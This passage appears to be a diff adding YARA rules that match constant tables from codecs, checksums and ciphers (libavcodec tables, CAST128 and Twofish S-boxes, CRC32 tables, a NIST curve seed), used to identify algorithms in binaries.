bb53f94dc713ff834633fa853aa3faf06883f077d0d3f97aa8c3face56a3f70ee5f3f3c9f893f7380583fe57f823f6803683f23d7a93f13d3213f2925483fdc478e3f53ec403fa470653f3814723f8314783f4cfba63faaba273e9ce1ce3f185e053f7a519f3f9c15193f1a4d963f0a804d3f71208a3f8a8e643fa8aa603fc6a8373f2fa8893fc3487f3f2d779a3f1ff3a73f5474a83f8753323f63d33e3f9a5f3d3f1c403b3fffcbad3e99f0e93fec4e2f3f6970373fd7132d3fc3628a3f060d653f1957743ff1ba723f0515693fd15a5d3f2ac8b93f30bd393fca89963f63d59a3f6cb48a3fe9f2943f2192293f077a003f7f6ded3edd60103f9758913f44c4553f2d41de3f7d04803f132c4e3f5018543f6364553f17ba463fab204e3f9528813fde1eae3f06132b3fc077b53f3d62c23fe354233ff6d2e43e925cfe3eef91313f6e173a3f21ea3e3e6404d03f24d3553fe57f963f1e525c3fff94623fd384813fc30f4a3f484f813f5d6d4d3fdbfd263f32b0cc3fe179193f9773873faf3f4d3f20297e3f25b3923fa661543f3f71703f6d70563ff180423f2922b33f98c17c3f6f2d833f1476793f751e0d3f1e4f933f094f583f8d25823f06f26c3faaef883f1991943fcba14d3fd0b8983f30658e3fcea73e3f7c0d893f61703d3f80b76c3f0c59713ff791953f9814d13fda57463f7fa03c3fce6c8b3f274d873f3a95483fc9ff303fc591473f207e3a3ff1a1a63f1555c93f53b0063fdcda0e3fa110293f7d048a3fb77d8b3f6ff2373ffce0403f5320773fad4c643ff392a13f035b693fba679b3f97a8463f9aea713f50c3913f17d6453f5c1c753f40a5623faf089c3f3f3b863f1d74713fc845933fa27b563f1ff4103fd427293ff2089c3f9b71823ff31c7d3fbbef6c3f1cd2ac3f6c09953f0fee0a3f4f239d3fe7a6193ff7569a3f75af333f34d66e3f61c2503fda72823fc16fa53f2afe4b3fc7d8513fe389a03fdba5053f768ca53f80d8523f7236553f06d8633f20b72f3fec6ac43f9cfa823fb859883f931b453fb1366a3f4d4e753fa94a773f6902593f2c47603f03780f3f562ba93f876a563f6e888d3f64034d3f95d2733fa4882c3f96eba93f04904e3f745c913f04e7383f99b8bd3ffc72a23f4f07323f4b023c3f0ad89e3f14ae5f3fe640533f97564b3fd80d573f63d1823f0f44b43faaba333f1a6b773f03053e3fbe339a3f4a46223f9b74633f0c92363f6c969d3ffa47033f8602983f83a3703f99f3a23f6684a13ff419603fe278623f24b86d3fa795663f054f613fcf12483fa1a09c3fbfd55a3f40fc783f376fac3f6ea64e3fc764693fa5f8743fcf817d3f42b2643fd4b8b73e54ffcc3f9819903f65183b3f40a44b3fd3315b3f8810893f2c9e5e3f9f94853f6a85653ff14a523f1492d63fe78a6e3f677e3d3fff5e723f5ddc6a3f05c16f3f2d7b623fbf455f3fd7de533f5e14913fdcd6883f02f3203fef8eac3f5d1a833ff6f0393fa053f83eb588043fc618503f59e0bd3f5f41b83f18cecd3e6a50343f27c1973fa933993f66f7643f9e26433ff3395f3fc895803f170f773fb98cad3fb5e09b3f40891f3f8941203f47588a3f80b5b83f10b2303f232d2d3f048e403f0b0d643f902db13f5dbf643fcc62123f9205b63f72f8863f7ba0653fcff56d3f55a3473f990e513f2959463f5fefa23faeba4e3f23a1713f95b6943f280a8e3f6c23623fe6c9413ff776973f37e14a3fc89a513f9528af3fe0a1703f73646d3f1daeaf3f2783773f096d293f444c513fee26503f47e85f3f4cdf673f7d049e3f0ef94f3f6cd08b3fe3fd743fcc446d3f9565943fef8f0f3f61166a3f465d8d3f228c733fe124bb3f05c18d3fb9a63c3f1f4d973f8ac8403fe23f513f5e81583f99d7753fb5166e3ff0be5e3fe4be933f1214933f0c20783fb268803f2591353ff8ddaa3f55150a3f76fe253f08ca953f3f72573fc784ae3fb9375b3f172c593fbf44aa3f7845ca3f180a183f30d9083f8cd8133f78b4253f59c44c3fc022b73f1e89a33f6631093f6b80a83f863a343f79ea913f3a40583fad4b353f459e303f9b542c3f7079ba3f124f5a3f473b563fbabbd43fb41e0e3fefe7283f6345413fa8e5433fa5494d3fe7345f3f55139c3fd926713f73ba823fab06a13f40a15e3fae0f8b3f81d0803f5f5c4e3fd0d14e3fef533d3fd97ca23f7ae49b3f09c48b3f39b8903f4eef9e3f69730c3f20d1283f8108453fe0f63c3fe319583f0ef78d3f5f078e3fdeff6b3fd1408a3f72e1243f359ac63f02d66a3f4033483fab3f263f36af2e3fa20c933fb5c08e3f7cf2483f6188c23ff1d6213fbe85613f5610773f620f3d3f6a4c6c3f37ff573f57b18c3f103f893f2595873fa9a5813faeb78b3fcbf2513f5dfc213f09fe4b3ff20a923ffa29843fefe7b03f0de0813f97e25a3f2a528b3f1de5923f33fd863fe65c423fd123423f6118543f868f543fbf61aa3f1572693fe73a0d3f07433d3f2f4e8a3fed2c963f3be32b3f0ff06c3fe3898a3f8b188e3f66bfb03f82ad903f34663e3f9cfa683f132d753fb8787c3f0ea1623f5a2a4f3fac016a3fbea1863fedb6a73f89b27f3f45677d3fd239833f1c24683f9e5f603fd256653f9f397b3fac707b3fa7e6663f4da0b83f8a90723fbbb9863f9790633fc1e38b3fe7ab2c3fb8af6b3fa2b77c3f47e8633f9208513f172d963f9208613f7b82903fdaca673f01c3a63f4853893f0fb9353f0c75303f541b803f65c4513f57ce943ff46e703f22e2843fa2416e3f0a0f6a3f58a9603fcc7b923fadf82a3fb2f3a03f7a6c4f3f8027753f01a4923f1824813f33dd853f7cef833fb72a893f65394d3f70ce683fd655613f3ecb813f1f12a03f55f7923ff8341b3f47e67d3fb0737f3f185b303f234c713f5b406c3fd8d89d3f1b4b643fb9a89c3f62f3ab3f923f503ff4c2193f9ca6033f9963a53f24817e3f51a0813fbc5a463f60c7633fc495b73f8f6e983f61e1f43ecae0e83eb8563b3fd9cc953f26e5463f5ad4993f38a05d3f2f6b7e3f6da9893fce70733f6b45873fb076703fab92443f6c7c863fc6526c3fbaa29a3f7313753fab246a3f9790933f853e7c3fa644423fa724673fef58a23f5b97523f999b733f16df783fde217d3fed48813f552f6f3f4f579b3fa5a2913f21e5073fa54d153f38f3a93fbff1253f29af8f3f10af7b3fae9b723fd6588c3fcd3baa3fd141873ff4538c3fffcc043f3bff2a3f7c5fb03fa46c4d3f42b0363f92773a3f5280e03e118f7c3feb904b3f6e34863f4b3b9b3f4c1cab3fe9105c3fd53e853f5c71713f6cd06b3f40a28d3f1617f73e1cb31c3fb535d23f32594c3fd8d6473f276c533fda38623f809f8f3fe3a7793ff4327a3f51d86d3fa6983f3fa642303f0af3ee3fe5647a3fde54343fdffa303fc37d503f3e763b3f8ae70340179ba83fdcf4073ff7e4293f70b5ee3ef8882c3feaeb293f603d2e3fedd8383fbe4c3c3fa322a63ed600113f3332d03ff1f2683fee5c443f66f89b3fe4816c3f22fc473f236a843f2a006e3fcefe903f7afd293fc784283f6bd58e3f9180873f200a463f624e923f3334ac3fa8c7623f180b4b3f1975313ff33b753f338a893ff0c37d3f2ee5963ffc6e863fefa89d3f5d6b6b3fdaa8563f282b523f51307b3f0d33a43f61e1203fbaf7543f0d345f3fcc0b803f8639893fd106ae3ff1815d3fb6d7363fc4b0e33e4913a93f28ee5c3f9dd9523fd520a43f807f963f8011823ff7e94c3f77bf623fbd1b6b3f1537063f0037673fcb9f573fedd57f3fd6e3d43f68cc5c3fe6747d3f321e5d3f9e7a5c3fc899623fadc3253fddb3d03f1ea72c3f94830d3f7bfaae3f26724d3f0f0e8a3f6b7f4f3f0000583f272e533f622d943f5b96953fa037293fcf690e3f26c69e3fb08d783fb262543ffc729e3f9dd56a3f42d1543faef48a3ebb5e7a3f7904333f232cc03fea5e673f97718d3f25cb753f6cb2843f5724803f91ee633f8bdf8c3e14eb203f9561923f9e5f8e3f255aa83f651c893f9fcc633f3545743f0c58823ff2cd763fecc1283f3542b93fe3e2643f4641803fdae2563fb397b93f48fb4b3fed0f583f448a413f9850513f41675a3f5649883fffe95a3fdafe3d3fcd565e3fef74af3fbc5b7d3fe6e7843f14ec6f3f5b427e3fda39793fec2e983f77f5823f71586e3f6b9e873f3813333f0282353fc119ae3f55c2633f92cf4f3fd6009d3fabe7823f791e383f93abae3f3c4a2d3f68cf353f89b1a03faa819a3fabcc243f5eba113fd34e693fed0bac3fd26d853f96d1043fdcd9c53f0e2dca3ed55d153f266e853f1956793f111b483f9f3bdd3fa165213f9eeec43efe0dd23e36931f3f3292413f6ea2763f9bc69e3fb801973f062c753f6b2c3d3f4147173f7c278e3fea058d3f8eb17b3f7f4f783f36cc8a3f406a913f90bd823fffe6713f62499f3fc4e8113f0856873f804aaf3f942e393fe61e4e3f2e91833fa0c28b3f4dbc5f3f0fd3463f86a9493f06bd673fda049a3f5fcf573fd45f973fd7c3833f1783433fb16e8c3f7367663fba2c823f253fa83f65a9813fc004323fe8f4603fe8bf3f3f0af34a3f4338863fa4ffb53fecfb503fba4b563f0d8b913e29cb843f779e483f0dc7853f98f78a3f630b6d3f0457813fa3ad763f1e8aa43fccb38a3f79ca3a3e677f003f48fa1c3f096d5d3fb2f4853f77be993f446e9c3f1bd5993f4d87923f35d48c3f1aa8cc3e7bbca63f1877ab3f8c490b3f1d8e8e3f3848343f50a6753fbb0a8b3ff3586b3fb8017f3f78f2a73f3d0d9e3f34db933f7fbd123f59691a3fc976d63f1616143ff8a70c3f1a36163ff489203f42ebb13e5875823f2ffa663fd6196b3f0dff893fd13b653fdcd7a53fd8449e3f2f87653f24b9743fb0c6693e861f0c3f438da83f7cd3aa3fedb8593f19373d3fd4d2943f3d9b933fc213763fd504593f0de3e63e6d1e953fb2a1ad3fd9b33f3f85958c3fe21e973fb2d9753f26e2613f2a1a5f3fc7494d3fbbed8c3f22c7963fb2f6c93f4f74ed3e12f7083ffaee123f90825b3fb2679b3f0c21533fb1df533f6f0c813fb01e033f2ffa023f66bc4d3f7990ae3f20d5b23f6c5c853fab05723f7368613ff835563fcba0aa3fdeac053f392a033fff5c203f10ca473f77a3733f2768bf3f90329e3fbf60633f560d563f971ed73f8869073f1a19e43eb7b31f3f0c77a83ffbc9863f990f643f87a2603ff470463f3f1a623f9d120f405c03173f211fdc3ed0b9133f2d222e3f66da2a3fdec8483fc0ce4d3f849f5c3f081c4d3fbde08b3ff4510e3fd196bd3f38493b3f282a953f7cf2783f800c593fc53a553ff1a1643f2cf16c3fe962a33f823b383fd3507b3f1abf843f7ba3963fd02a2f3fc26a483ff547643f730f8f3fdc68843f22379d3f4889453fc0968f3fadfb3f3fb074623f9146753f21e99d3f87c4853fd40e6f3fd252553f520ebc3f6b61363ff9317a3f5113353f94699e3f3735743f92cd553fa14c4b3fc9cc7d3f31286f3f0c228a3f9b56883fb5c1a13f3f53133f1782d03ff225043f3ae70b3ffbea063fc059463f92208a3fc841ab3f55a47e3fe0d72c3f66a15d3f5fcfaf3faf96a93f3be55d3ff146223feb73193f08593a3f656fc13fa723243fa1f3da3f07453b3fe21e173f53ce0b3f51f91f3f946a473f10ae683f8a55673f5e63e13f3b389e3f1c9a883fcd72f93e44dd273fe49e363fa9a0323f98dd3f3f65e0583f30da6b3fecf99e3f075f883fc4987c3f3867203f2b35a73fe6922e3f4fac373f4c711d3f9be7ac3fdf34553ffbae8e3fd3bd263f38848a3f18428c3f4432883fc4b28f3fa392803f124e673f79c95f3f5d885d3fad4b9f3f3dbb803f7ac4983fa20d3c3f6748193fa530a33f9d0fa53fc05e1d3f624e303ffa47473f8941b43ff8fa563f97ae883f0d6f123f552e2c3f2c9c9e3fb5705d3f77ba5b3fdc478a3fedef703ffe0fa03f73116b3f40f88c3fe8112b3f6ccdae3fd0270e3f41830d3f2f36a13f4c4f683fb2b84f3f15c6d03fa2b7243f60aee53e05c4ec3ec4d2383fdd22b03fb62e933fb3256b3f4641503f15e45f3f567dc43fde038e3f295f803f950e5e3fe1edc13f3719413fcac0113f3d48033f774d183f65342a3f10e9fb3f3a96373f1570933fc3b63d3f3ecf433f669f2f3fb937373f2aff323f0ad7433f4f5b473f01f7b43f3ca54b3f4242b03fe8bf3b3f94899d3fd95f3a3f65e4503f45bc5d3f8aab363f2656523fe066ab3fc9c8353fe0d8813f6bd48b3f3d0c7d3ffb5d303f56639b3f71935d3fabcb6d3f21215a3fbe16963f569a783f33dc923f36e7003fe8f7893f72e1803f37aa6f3fe128833f66667a3fdfc3653f164eac3f3561533f3ba9a33f7d78363f22a57d3fc905533f4eb63d3f10ea463fe71c963fb265753fc39e563f1ee2873f179c973fb48e4e3f3c14b93fc173373f95b58f3f9b70433f7121533f24b9543f8257a33f73bd613f91b8813f1765523f3ee8a13f2a52833f89239d3f191d343facc8283f15ff3b3fd595853f6b81813f24b4c13f266e3d3f191c293fcd5a163f5c3a2e3f077b573f0a69953f0306913f58abbc3ffb93203f68cab03fd6c6283f105b423f7461863f5b99823f6ec15e3f8082473fa48b553f787ea73f5b246d3f124e8f3fe2e60c3fd9b39d3f87181b3f2e38973f4ace513f19af5d3f8f8a6b3ff437ab3f9cfa443fac559d3f4549503f3f523c3f172b623fa9dec83f8060223f39261b3f782a303fbd38a53fb8048c3f959d923f00540d3fe2e94d3fc2f9443f3c31573f25748b3fde3e813fef92863f17b6ae3f62dc693f6687a83f92e6373f4a7b073fad4f393f3734973f5e4b603fa96a763f38136b3ff8c14d3ff7aeb13f5c1e7b3fcb80b13f1347ce3ee8689d3f74095b3f8b6d3e3f641e3d3f77f84f3f56f2973f8a03aa3f3c30403f7c7be73f6153ff3e2365db3ef06cff3e48a5503f82ae413fb554363fb41f813fc53cd13fd8b77f3fddb38e3f05a48d3f209b503fbb5f2d3fcd73203f3f543a3f5a7f333f7d97b83fa81bca3f48169e3f74d0a33f09c11a3f2b12eb3ee52bf93ee84e0c3f1898093f3198233f791f533f821f553f28b6a43f622d723f49f5493ff46cca3f0dc1513fc0e94d3f6406423f8c124c3f9e27963f81225a3f0d50563f47919b3f1e361d3f43382a3f66874c3f18b1973f92cbb33f268a403fdb85563fb807993ffb3aa03fbc5b953fb3cf913f0a4a213ffe80773f6cec523fddcf513f4f78553f0c5ca43f8b1aae3fd239673fd849a13f22895e3ffe464b3f4986443fb2f5483f4a28453f5f7d503f64acde3e9df1873fc51a523face17a3f9e786a3fa225ad3f637eae3f018a513f910a6f3f3a044e3ff914103ec845bd3e0bef423f834edc3f9c16a43fdd7b503fe73a453fb9a5693f52b9833fbde3643f9d7fc33ead6ab13f5036653f98a5413f0bb84b3f815c2a3f44a48c3fcb13b83f4fcc843fbe31543f081c593fbd558b3f7e1e533febe2463feed0383f97392d3f82e14c3f5260913fb474c13f124e873f16db2c3fa4ab8a3f2d07823f09c5b23f4f57673f7db17b3f1a6f633f }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_5__16_big_386_
+{
+strings:
+	$a0 = { 40003f003e003d013c023b033a053908380b37103616351d34263331323c314a30582f672e762d892c9d2bb52acd29ea290728272748266e259424bf23eb231b224b217b20ab1fdf1f131e4e1d891ccb1c0e1b551a9c19eb193b189117e8174516a31602156114c7142d139a1307127c11f1116a10e410650fe70f6f0ef70e820e0d0d980d230cb20c420bd80b6f0b0c0aa90a4b09ed0995093e08ec089a084e080207b7076c072606e106a10661062605eb05b3057b0547051404e404b50488045b042e040103d603ab0383035c0338031502f402d302b50297027c02610248022f021701ff01e901d301bf01ab0199018701760166015701480139012c011f0112010500f800eb00df00d300c800bd00b300a900a00097008f0087008000790073006d00670061005c00570052004d004900450041003d003a003700340031002e002b0028002500230021001f001d001b00190017001500140013001200110010000f000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi2__32_lil_128_
+{
+strings:
+	$a0 = { 050000000e0000001a000000120000000b0000001c000000070000001000000000000000170000001400000016000000010000000a00000004000000080000001e00000003000000150000000900000011000000180000001d00000006000000130000000c0000000f0000000d00000002000000190000001f0000001b000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ultimotion_ulti_chromas__8_byt_16_
+{
+strings:
+	$a0 = { 60676d737a80868d9399a0a6acb3b9c0 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_PRIME_224_SEED__8_byt_20_
+{
+strings:
+	$a0 = { bd71344799d5c7fcdc45b59fa3b9ab8f6a948bc5 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab6__16_lil_62_
+{
+strings:
+	$a0 = { E7FFEDFFF3FFF7FFFBFFFDFFFFFF330003002300FFFF32003000FFFF13003100FDFFFFFF220002001200FDFFFFFF210020000100FFFF1100FFFF10000000 }
+
+condition:
+	$a0
+}
+
+	
+rule twofish_exp_to_poly__8_byt_492_
+{
+strings:
+	$a0 = { 01020408102040804d9a79f2a91f3e7cf8bd376edcf5a703060c183060c0cdd7e38b5bb6214284458a59b22952a4050a142850a00d1a3468d0ed9763c6c1cfd3eb9b7bf6a10f1e3c78f0ad172e5cb83d7af4a5070e1c3870e08d57ae112244885dba3972e485478e51a209122448906ddaf9bf3366ccd5e7834b9661c2c9dff3ab1b366cd8fdb723468c55aa193264c8ddf7a30b162c58b02d5ab4254a9465cad9ffb32b56ac152a54a81d3a74e89d77ee916fdef1af13264c987dfab93f7efcb5274e9c75ea997ffeb12f5ebc356ad4e58743864182499269d2e99f73e6814f9e71e2895fbe3162c4c5c7c3cbdbfbbb3b76ec9567ced1ef936bd6e18f53a601020408102040804d9a79f2a91f3e7cf8bd376edcf5a703060c183060c0cdd7e38b5bb6214284458a59b22952a4050a142850a00d1a3468d0ed9763c6c1cfd3eb9b7bf6a10f1e3c78f0ad172e5cb83d7af4a5070e1c3870e08d57ae112244885dba3972e485478e51a209122448906ddaf9bf3366ccd5e7834b9661c2c9dff3ab1b366cd8fdb723468c55aa193264c8ddf7a30b162c58b02d5ab4254a9465cad9ffb32b56ac152a54a81d3a74e89d77ee916fdef1af13264c987dfab93f7efcb5274e9c75ea997ffeb12f5ebc356ad4e58743864182499269d2e99f73e6814f9e71e2895fbe3162c4c5c7c3cb }
+
+condition:
+	$a0
+}
+
+	
+rule Rar29_InitBinEsc__16_lil_16_
+{
+strings:
+	$a0 = { dd3c3f1fbf59f348a164bc5a32665160 }
+
+condition:
+	$a0
+}
+
+	
+rule Little_CMS_isotempdata__flt32___32_lil_496_
+{
+strings:
+	$a0 = { 00000000a661383e18ec863e794079be00002041effe383ebc22883ed67382be0000a04192ae393e9773893ee99a89be0000f0412e733a3e6ad98a3ea31e92be0000204200523b3ee7528c3ea3019cbe000048420a4b3c3ebede8d3ec74ba7be00007042e9603d3eaf778f3eacffb3be00008c429f933e3e6d1c913ef31fc2be0000a042c9e53f3eb9c7923e8ab0d1be0000b442ca54413ef376943e0fb4e2be0000c8423fe3423e2d26963ec22ff5be0000fa42774a473e69529a3e930015bf000016432f694c3ec6509e3ee06734bf00002f430e2d523e5b08a23eb85859bf000048437c7e583efc6fa53e615482bf00006143be4d5f3e7c7ea83e1ac09bbf00007a433c83663e2b35ab3eecc0b9bf008089439e0c6e3ea796ad3e166addbf00009643c6dc753e2fa8af3ea91304c00080a243d0f27c3e006fb13e5af51dc00000af43a306833efaf2b23ed0b33dc00080bb43022b873e5839b43ea83565c00000c8432d5b8b3eaa48b53e27a08bc00080d443478f8f3e7c27b63ed509acc00000e14350c7933e0edbb63e083dd7c00080ed43b9fc973eec69b73e2b8709c10000fa43832f9c3e06d8b73e1b2f35c100400344c05ba03efa27b83e4a0c7ac1008009441f80a43e5760b83e9a99bac100c00f44529ba83eba83b83e7b1423c200001644b9aaac3ec494b83e66e6e8c2 }
+
+condition:
+	$a0
+}
+
+	
+rule Virtools__crypted_files_decrypter_key__8_byt_16_
+{
+strings:
+	$a0 = { 9d0b085bd4137760e7103f0a2c55b80a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap3__16_lil_192_
+{
+strings:
+	$a0 = { D4D82B51E62A30EE1E03BCFF2A2B0A5027E622EBFBF8A1F9890FE2FDCE1B72FB9C49563920EFA0FF81E314FEDEA94BEF840AE0169A156655D4E333EB79FFA1A4C203B31F7CFD7E01E5F9480D1DF3551214E57E57CF0DD60B801C4618FC4FBDD0390059E53807B3A8E1E8A71ACBFCB9F17DFE93E739F99BA862E8320636B6C8C7FE23C102ACE90801D4B91A39F11EAFFE92FF6C0008004A00A7FFCEFFD41913FAB75486F9F3E00AFFA35441E79EDF9BFFBBFAEAFF0DAAB4E6261F88020608B5FE }
+
+condition:
+	$a0
+}
+
+	
+rule in_cube_AFC_decoder__ngc_afc_decoder___16_big_64_
+{
+strings:
+	$a0 = { 000000000800000000000800040004001000f8000e00fa000c00fc001200f6001068f73812c0f7041400f4000800f8000400fc00fc000400fc000000f8000000 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_8_1024__16_big_80_
+{
+strings:
+	$a0 = { 000c001800240030003c004800540060006c007800840090009c00ac00bc00cc00dc00ec00fc010c012001340148015c0174018c01a401c001dc01fc02200244026c029802c802fc0334037003b00400 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_fc_2pulses_9bits_track2_gray__8_byt_32_
+{
+strings:
+	$a0 = { 000205040c0a0709191814160e0f1311241f151a0106100b1b1d201e27252223 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_4__16_big_32_
+{
+strings:
+	$a0 = { abe7bba8c81cd326dd0ee5d4ee22f618fe28064f0eb717b821aa2d8b3ba24df9 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain2__flt32___32_lil_32_
+{
+strings:
+	$a0 = { 0000843f0000e73f00204a4000dcb040000084bf0000e7bf00204ac000dcb0c0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x86d3d2d4__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000caed1e2195da3c415f3722632bb47883e15966a2be6e44c274835ae33e119d33f4fc8312abcba1726126bf5015a5e5b0df48fb91807fd9f14a92c7d3155a5653dfb7487280806a124a6d74303eee2ed0f40330f1ab34129161d90cb02b4bcb60e1a6d541be91f721747ce90300ffb3e3ca12adc295258fa25fc8918343cdc0938920deb2d617fcd21cfae2f06879b810a294a631fda38451374e9a707ddc5da0b7314381e80661e122eb7fc3566825239c853b02c3b21962095f0740569796c09c7a88e1c34daa8109a0b4a37d23ee43b7cef062e8f9d2022214cc2368860bf3a26b15d2fd5c37b237b129904332737089df6d51d6e84f311c055113eee2ed13240ff3327b38d152b1d5cf70c55695900fbb8bb1508ca9d19a61b7f0d0f370201a1e6e0145294c618fc45243fb4708a331aa16826e9d34e2a4702ac0fbb8bb403155a5616e628701a48f9923d00cc3c31ae1dde245d6ff828f3be1a3c5a926730f44385250731a329a9e0410ee1d5ef024f040d17bc762b1b12a7c90ad2f2d8067c233a138f511c1f2180fe3869b55034c764b2213416942d9ac7763933eb0b359d3ae9206e48cf2cc0992d0b88ac8307267d6112d50f471e7bdea53b8757bd3729865f22daf4792e74259b093c10350592c1d71061b3f11ccf621308664e6e04c89f8c113bedaa1d953c483add09e63673d8042380aa222f2e7bc02b4bcb6127e51a83321668a53eb8b94719f08ce9155e5d0b00ad2f2d0c03fecf18aad2b21404035001f771760d59a0942a11953a26bf44d8334c36fe3fe2e71c1a1e6e0416b0bfe60343cdc00fed1c2228a5298c240bf86e31f88a483d565baa29ff77d72551a63530a2d4133c0c05f11b44305f17eae1bd0219939b0eb742791f77176813d9c68a062ab4ac0a84654e2dcc50e0216281023491f324383f22c62c960ebb2038df5935cbad7f39657c9d1e2d4933128398d10770eaf70bde3b152e22b20d228c63ef377f11c93bd1c02b1c99f5851037246705c45641096a87a31dc3abde116d7a3c049e081a0830d9f82f78ec5623d63db436254f923a8b9e7015a5e5b0190b34520cf8467400569796271ea2382bb073da3e4301fc32edd01e2644fc632aea2d813f195fa733b78e4514ffbbeb18516a090da2182f010cc9cd24f040d5285e91373dade311310332f3164b075d1ae5d6bf0f16a49903b8757b171159061bbf88e40e4cfac202e22b2025aa1e8e2904cf6c3cf7bd4a30596ca8219939b92d37e85b38c49a7d346a4b9f13227e311f8cafd30a7fddf506d10c171278206a1ed6f1880b2583ae078b524c20c367e22c6db600399ec426353015c410cc9cdc1c624d3e09913f18053feefa2277db542ed90ab63b2a78903784a972232d850f2f8354ed3a7026cb36def7291196c2871d38136508cb61430465b0a1 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_NRFAC__16_big_16_
+{
+strings:
+	$a0 = { 71c866675d1855564ec5492544444000 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_2x2_4__8_byt_16_
+{
+strings:
+	$a0 = { 01030103010301030200020002000200 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_24__witab__16_big_16_
+{
+strings:
+	$a0 = { FF8003C0112048C048C0112003C0FF80 }
+
+condition:
+	$a0
+}
+
+	
+rule All_Seeing_Eye_UDP_packets_decoding_encoding_algorithm__32_big_1024_
+{
+strings:
+	$a0 = { 0ff971741f9bd468378499694e89ae73612bf42067d79c636d77656f745adb647bea3365834ce620897950698f45bf7396a872209ec22f73a63fab74ac514d6fb267656cb8413965bfe26c6ec797b620cc6a2266cf2ffb72d1fa4c6fd5eb436dd9e9a020dc48ca54dcb1b468dd11b165dd7cd620de4c6f41ded49a6cdf15566cdf5a892ddfc13753e0184665e0525065e07cb969e09e356ee0d3c867e116bf20e1412945e1606979e17b3365e1a59c20e1d8f428e20c4b63e236b429e253b920e26e8355e2aac844e2c7cd50e2f6ad20e3117753e32e7c6fe3523366e37c9c74e39e1820e3d5e64ce3f76254e4146744e42cf52ee44e7120e46db168e49a5674e4c28474e4df8970e501053ae519932fe5345c2fe5633c77e5969477e5b15d77e5d09e2ee5eb6775e6063064e627ac70e64d9f73e66f1b6fe6856d66e69dfb74e6b8c42ee6d5c963e6ec1c6fe706e56de71d3831e73c7880e7597d5be76fcfdde79c74dfe7b502d4e7d44323e7ea95a4e80c1166e8249f5be841a436e869d252e88024d4e898b2c8e8b140bde8dbaa4ce8f43841e90a8ac2e920dd44e9449479e95ae6fae977ebd6e9972c24e9ad7ea6e9c8480ee9e54ce9e9fb9f6aea142d5fea2cbb54ea4784bcea5dd73dea7429beea936a0deaa9bc8feac24a83ead89d05eaeeef86eb054207eb1b9489eb31e70aeb559e3feb6bf0c1eb824342eb9895c3ebb59a9febcbed20ebe23fa1ec05f6d7ec1e84cbec34d74dec4b29ceec63b7c3ec7a0a44ec905cc5eca6af47ecbd01c8ecd3544aece9a6cbecfff94ced164bceed3350a9ed49a32aed62311fed7883a0ed8ed622eda528a3edbb7b24edd1cda6ede82027edfe72a8ee14c52aee2b17abee416a2cee57bcaeee6e0f2fee8461b0ee9ab432eeb106b3eec75934eeddabb6eef3fe37ef0a50b9ef20a33aef36f5bbef4d483def639abeef79ed3fef903fc1efa69242efbce4c3efd33745efe989c6efffdc47f0162ec9f02c814af042d3cbf059264df06f78cef08806c3f09e5944f0b4abc5f0cafe47f0e150c8f0f7a34af10df5cbf124484cf13a9acef150ed4ff1673fd0f17d9252f1985bbaf1aeae3bf1c500bcf1db533ef1f1a5bff207f840f21e4ac2f2349d43f24aefc4f2614246f27794c7f28de748f2a439caf2ba8c4bf2d0deccf2e7314ef2fd83cff313d650f32a28d2f3407b53f3590948f371973df387e9bef39e3c3ff3b48ec1f3cd1cb5f3e36f37f3f9c1b8f4101439f42666bbf43cb93cf4530bbdf4695e3ff47fb0c0f4960341f4ac55c3f4c2a844f4d8fac5f4ef4d47f5059fc8f51bf249f53244cbf548974cf55ee9cef5753c4ff58b8ed0f5a1e152f5b833d3f5ce8654f5e4d8d6f5fb2b57f6117dd8f627d05af63e22dbf654755cf66ac7def6811a5ff6976ce0f6adbf62f6c411e3f6da6464ffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_acelp_interp_filter__16_lil_122_
+{
+strings:
+	$a0 = { 0373BA6E7762E14F6D39F521470CB8FACEEE17E926E9BFED21F560FDBB04E8093A0CAF0BD3089204000017FC8CF9B4F87EF985FB30FEDA00F40224044B048803260287000BFFFEFD86FDA6FD3DFE19FF0000BF00340154012801C6004E00DCFF88FF5DFF5BFF7CFFB1FFEDFF220049005B005900460026000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox5__32_lil_1024_
+{
+strings:
+	$a0 = { 040cc97eb9746e2cdf660e9b117933a6ff7f6ab8f558d31d449ddd447f163117faf1fb08cc11f5e7001b05d200ba5a73d822b72acb8163383a24f6ac7afdbe697fe7a2e6cd20c7f0164849c480c1f5cc4016853848a8b015cb188be6ffdeaa4c010a485faab21204fc149825e2efd0418db4404efbb68e24fe1cba8d029ba941040a551acb658fbae7f451722517a595d7ec06c10a98a597aab939c56afe794d63f7f3f24080af68569e0ced8b95b411885aebe1b0e609875671e0d7a7fe294e2de5666300c0d102058eacc471f577932a37050cf235855702be6122c9a042d680a213dfd25bb574c0992168ece521d4e83cfb53b3edadc8c97fa8288199953d00f91f5c99d338fe0bff4e0cea072406b14f2faa7669b94f0595c79074a7a8b0ffa155efc2a29ce5272db6a663426ae61f0065df6609c50ebc55dddf5506de299a731e917589af171c91c7326894f88980e9010df4554752c93cb603b244c80caaf0f3bce936ac8726743ae52bd8b30149749e1a7e2dee64dab1dbcd1049c90180bf68b8fdf3260de7ed429384c2a504b637676316b6f550e36647f2c136ca8edb056e139183f1fe377a88fbd4f7e7d6c97dfbc7dffc6330de89f5b6da4129ec9566e426196456b7c5ef54f6b7588dd0015492487fcbbac10f55ffe5493008b6e8d0b55b5a2ed787e16e6aabce663a22cdf32bc6f985089e473ecb680f016c0820e81da2de698bd17757f6f3f6c302fac3da7e4050d5b3cb4d089317ba0ed7b0d578b30a0cfb51d956dad7dee4bb2441560bca94d155570f6ee5e1e0beb